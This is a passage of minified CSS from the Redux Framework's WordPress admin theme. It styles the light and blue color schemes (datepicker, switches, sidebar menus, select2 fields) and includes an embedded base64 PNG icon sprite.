endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-light .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-light .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-light .redux-container-switch .cb-enable.selected,.admin-color-light .redux-field-container .ui-buttonset .ui-state-active{background-color:#04a4cc !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#05c0ef), to(#04a4cc)) !important;background-image:-moz-linear-gradient(top, #05c0ef, #04a4cc) !important;background-image:-ms-linear-gradient(top, #05c0ef, #04a4cc) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #05c0ef), color-stop(100%, #04a4cc)) !important;background-image:-webkit-linear-gradient(top, #05c0ef, #04a4cc) !important;background-image:-o-linear-gradient(top, #05c0ef, #04a4cc) !important;background-image:-linear-gradient(top, #05c0ef, #04a4cc) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#05c0ef', endColorstr='#04a4cc', GradientType=0) !important;border-color:#036881 !important;border-color:#037c9a !important;-webkit-box-shadow:inset 0 1px 0 #22cffb,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #22cffb,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-light #redux-header{background:#888;border-color:#04a4cc}.admin-color-light #redux-header .display_header span{color:#e6e6e6}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-light .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-light .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-light .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-light .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-light .redux-sidebar .redux-group-menu li.active,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-light .redux-sidebar .redux-group-menu li.active a,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild a{color:#888}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#0384a4;background:#6f6f6f}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#04a4cc}.admin-color-light .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#888}.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#e6e6e6;text-shadow:1px 1px #9a9a9a}.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#888;text-shadow:none}.admin-color-light .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#04a4cc;text-shadow:1px 1px #025468}.admin-color-light .redux-container-image_select .redux-image-select-selected img{border-color:#04a4cc}.admin-color-light .redux-container-image_select .redux-image-select-selected .tiles{border-color:#04a4cc}.admin-color-light #redux-footer #redux-share a{color:#04a4cc}.admin-color-light #redux-footer #redux-share a:hover{color:#025468}.admin-color-light .select2-results .select2-highlighted{background:#04a4cc}.admin-color-light .select2-drop-active,.admin-color-light .select2-container-multi.select2-container-active .select2-choices,.admin-color-light .select2-drop.select2-drop-above.select2-drop-active,.admin-color-light .select2-container-active .select2-choice,.admin-color-light .select2-container-active .select2-choices,.admin-color-light .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-light .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#04a4cc}.admin-color-light .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-light .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-light .noUi-connect{background-color:#04b0db !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#09cafa), to(#04b0db)) !important;background-image:-moz-linear-gradient(top, #09cafa, #04b0db) !important;background-image:-ms-linear-gradient(top, #09cafa, #04b0db) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #09cafa), color-stop(100%, #04b0db)) !important;background-image:-webkit-linear-gradient(top, #09cafa, #04b0db) !important;background-image:-o-linear-gradient(top, #09cafa, #04b0db) !important;background-image:-linear-gradient(top, #09cafa, #04b0db) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#09cafa', endColorstr='#04b0db', GradientType=0) !important}.admin-color-blue .button.ui-datepicker-current,.admin-color-blue button.ui-datepicker-close{background-color:#509dba !important}.admin-color-blue .ui-datepicker-buttonpane button.ui-datepicker-current{background:#db9825 !important;color:white !important;border:1px solid #845c16 !important}.admin-color-blue .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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) !important}.admin-color-blue .ui-datepicker-header{background-color:#096484 !important;color:white !important}.admin-color-blue .ui-datepicker td .ui-state-active{background-color:#509dba !important;color:white !important}.admin-color-blue .ui-datepicker td .ui-state-hover{color:#509dba !important}.admin-color-blue .ui-datepicker td .ui-state-highlight{background:#4796b3 !important;border:1px solid #096484 !important;color:white !important}.admin-color-blue .redux-container-switch .cb-disable,.admin-color-blue .redux-container-switch .cb-enable,.admin-color-blue .ui-state-default,.admin-color-blue .ui-widget-content .ui-state-default,.admin-color-blue .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-blue .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-blue .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-blue .redux-container-switch .cb-enable.selected,.admin-color-blue .redux-field-container .ui-buttonset .ui-state-active{background-color:#4796b3 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#5ea5bf), to(#4796b3)) !important;background-image:-moz-linear-gradient(top, #5ea5bf, #4796b3) !important;background-image:-ms-linear-gradient(top, #5ea5bf, #4796b3) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #5ea5bf), color-stop(100%, #4796b3)) !important;background-image:-webkit-linear-gradient(top, #5ea5bf, #4796b3) !important;background-image:-o-linear-gradient(top, #5ea5bf, #4796b3) !important;background-image:-linear-gradient(top, #5ea5bf, #4796b3) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5ea5bf', endColorstr='#4796b3', GradientType=0) !important;border-color:#31687c !important;border-color:#39778e !important;-webkit-box-shadow:inset 0 1px 0 #7cb6cb,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #7cb6cb,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-blue #redux-header{background:#096484;border-color:#4796b3}.admin-color-blue #redux-header .display_header span{color:#e2ecf1}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-blue .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-blue .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-blue .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-blue .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-blue .redux-sidebar .redux-group-menu li.active,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-blue .redux-sidebar .redux-group-menu li.active a,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild a{color:#096484}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#db9825;background:#064054}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#4796b3}.admin-color-blue .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#096484}.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#e2ecf1;text-shadow:1px 1px #7ba8bf}.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#096484;text-shadow:none}.admin-color-blue .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#4796b3;text-shadow:1px 1px #2a596a}.admin-color-blue .redux-container-image_select .redux-image-select-selected img{border-color:#4796b3}.admin-color-blue .redux-container-image_select .redux-image-select-selected .tiles{border-color:#4796b3}.admin-color-blue #redux-footer #redux-share a{color:#4796b3}.admin-color-blue #redux-footer #redux-share a:hover{color:#2a596a}.admin-color-blue .select2-results .select2-highlighted{background:#4796b3}.admin-color-blue .select2-drop-active,.admin-color-blue .select2-container-multi.select2-container-active .select2-choices,.admin-color-blue .select2-drop.select2-drop-above.select2-drop-active,.admin-color-blue .select2-container-active .select2-choice,.admin-color-blue .select2-container-active .select2-choices,.admin-color-blue .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-blue .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#4796b3}.admin-color-blue .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-blue .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-blue .noUi-connect{background-color:#509dba !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#69abc4), to(#509dba)) !important;background-image:-moz-linear-gradient(top, #69abc4, #509dba) !important;background-image:-ms-linear-gradient(top, #69abc4, #509dba) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #69abc4), color-stop(100%, #509dba)) !important;background-image:-webkit-linear-gradient(top, #69abc4, #509dba) !important;background-image:-o-linear-gradient(top, #69abc4, #509dba) !important;background-image:-linear-gradient(top, #69abc4, #509dba) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#69abc4', endColorstr='#509dba', GradientType=0) !important}.admin-color-coffee .button.ui-datepicker-current,.admin-color-coffee button.ui-datepicker-close{background-color:#ccad93 !important}.admin-color-coffee .ui-datepicker-buttonpane button.ui-datepicker-current{background:#ba906d !important;color:white !important;border:1px solid #835d3e !important}.admin-color-coffee .ui-datepicker-header 